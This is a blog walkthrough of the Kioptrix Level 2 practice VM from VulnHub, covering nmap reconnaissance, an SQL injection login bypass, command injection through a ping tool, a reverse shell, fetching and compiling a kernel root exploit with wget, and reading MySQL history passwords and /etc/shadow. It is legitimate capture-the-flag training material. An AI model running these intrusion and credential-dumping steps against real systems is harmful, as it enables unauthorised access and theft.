Kioptrix Level 1.1 (#2) Walkthrough

Well, next on my list (and reasonably so), was Kioptrix Level 1.2, again by loneferret, and still hosted on VulnHub.

To start things off, I fired up netdiscover to find the IP of this new VM.

 Currently scanning: Finished!   |   Screen View: Unique Hosts

 5 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 300
    IP            At MAC Address      Count  Len   MAC Vendor       
 ------------------------------------------------------------------    00:50:56:c0:00:01    03    180   VMWare, Inc.  00:50:56:ff:4e:a8    01    060   VMWare, Inc.  00:0c:29:53:19:4c    01    060   VMware, Inc.     


Next up was a quick Nmap scan to get an idea of the attack surface.

root@kali:~# nmap -sT -sV -O

Starting Nmap 6.47 ( ) at 2015-04-29 09:43 EDT
Nmap scan report for
Host is up (0.00033s latency).
Not shown: 994 closed ports
22/tcp   open  ssh         OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http        Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind     2 (RPC #100000)
443/tcp  open  ssl/http    Apache httpd 2.0.52 ((CentOS)) 
631/tcp  open  ipp         CUPS 1.1
3306/tcp open  mysql       MySQL (unauthorized)
MAC Address: 00:0C:29:53:19:4C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.89 seconds

With that completed, I figured I’d check out the home page to see if there was anything useful.

Based on the page and its source, this was some sort of Administrative console login, so it would be very useful if I could get in through this.

I decided to try some basic SQL injection to see if I could either get in, or at least get some sort of error condition to continue along that path.

That was easy. From here it looks like I had access to some sort of tool to ping a machine on the network.

It looked like it was just taking the IP address from the box, and appending it directly to a ping command…I decided to try and see if I could execute additional commands with a quick uname test.

Knowing that I could add additional commands at the end of the ping, I decided to try a quick and easy reverse bash shell that I saw on pentestmonkey.

On my attacker side, I setup netcat as my listener and waited. Shortly after executing the command in the web admin console, I had a shell.

root@kali:~# nc -l -p 4444
bash: no job control in this shell

A quick search showed that this kernel was probably vulnerable to the sock_sendpage() NULL pointer dereference exploit, so I downloaded it, copied it over, and compiled it.

bash-3.00$ cd /tmp
bash-3.00$ ls
bash-3.00$ rm ring0
bash-3.00$ rm ring0.c
bash-3.00$ wget
           => `ring0.c'
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,380 (9.2K) [text/plain]

    0K .........                                100%  235.41 MB/s

05:50:45 (235.41 MB/s) - `ring0.c' saved [9380/9380]

bash-3.00$ gcc -o ring0 ring0.c

Fingers crossed, I executed it and got my root shell!

bash-3.00$ ./ring0
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

There was nothing interesting in the /root directory or root’s mail this time, but there were a few passwords and other interesting information inside of the .mysql_history file.

sh-3.00# cat .mysql_history
show databases;
create database webapp;
use webapp;
create table users(id INT,username varchar(100),password varchar(10));
show database;
select * from users;
show databases;
use webapp;
insert into users values(1,'admin','hello');
select * from users;
use mysql
show databases;
use mysql;
select * from users where user=john;
show tables;
select * from user where user=john;
select * from user where user='john';
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' IDENTIFIED BY 'hiroshima';
CREATE USER 'webapp'@'localhost' identified by 'hiroshima';
update user set password = password('hiroshima') where user = 'john';
use mysql;
show users;
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
flush privileges;
show databases;
use mysql;
grant select,insert,update,delete on *.* to 'john'@'localhost';
update user set password = password('hiroshima') where user = 'john';
flush priveleges;
use webapp;
show tables;
update user set password = password('Ha56!blaKAbl') where user = 'admin';
update username set password = password('Ha56!blaKAbl') where user = 'admin';
select * from users;
update username set password = password('Ha56!blaKAbl') where username = 'admin';
update users set password = password('Ha56!blaKAbl') where username = 'admin';
select * from users;
insert into users values(2,'john','66lajGGbla');
select * from users;

And, as I do whenever I remember, I dumped the shadow file for later/for others.

sh-3.00# cat /etc/shadow

While this level seemed to go a little quicker than the first one for me, I think I enjoyed it a little more than level 1 for the inclusion of SQL and command injection. Another solid beginner level VM from loneferret though, and I look forward to level 3.

doyler on Githubdoyler on Twitter

Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for SecureWorks. His previous position was a Senior Penetration Tester for a major financial institution.

When he’s not figuring out what cert to get next (OSCE?!) or side project to work on, he enjoys playing video games, traveling, and watching sports.


Filed under Security Not Included

4 Responses to Kioptrix Level 1.1 (#2) Walkthrough

  1. dexter

    Hey doyler,
    I am using Kali linux 64-bit and it is NATed; when i am trying to wget ring0 exploit to the victim server, i am getting an error message saying “Http request sent, awaiting response 404 not found”.
    I have tried all possible things to put the exploit in the /tmp directory of the victim web server. Is there any work around?

    • Can you make sure that the target box can ping your attacking machine? If not, then there may be a connectivity issue.

      If it can, try the -4 flag with wget just in case one of the boxes is trying to use IPV6.

      If neither of those work, then let me know!

  2. dexter

    Hey doyler,

    I finally understood my mistake, I had to place my ring0.c file in /var/www/html.

    This resolved the issue and I was able to root. Thanks ! for your help.

Leave a Reply

Your email address will not be published. Required fields are marked *